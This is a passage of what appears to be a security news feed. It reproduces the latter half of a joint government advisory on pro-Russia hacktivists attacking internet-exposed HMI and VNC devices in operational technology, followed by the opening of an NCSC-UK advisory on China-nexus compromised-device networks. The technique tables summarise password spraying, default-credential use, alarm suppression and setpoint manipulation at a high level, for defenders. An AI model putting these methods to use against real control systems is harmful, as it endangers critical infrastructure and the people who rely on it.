<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
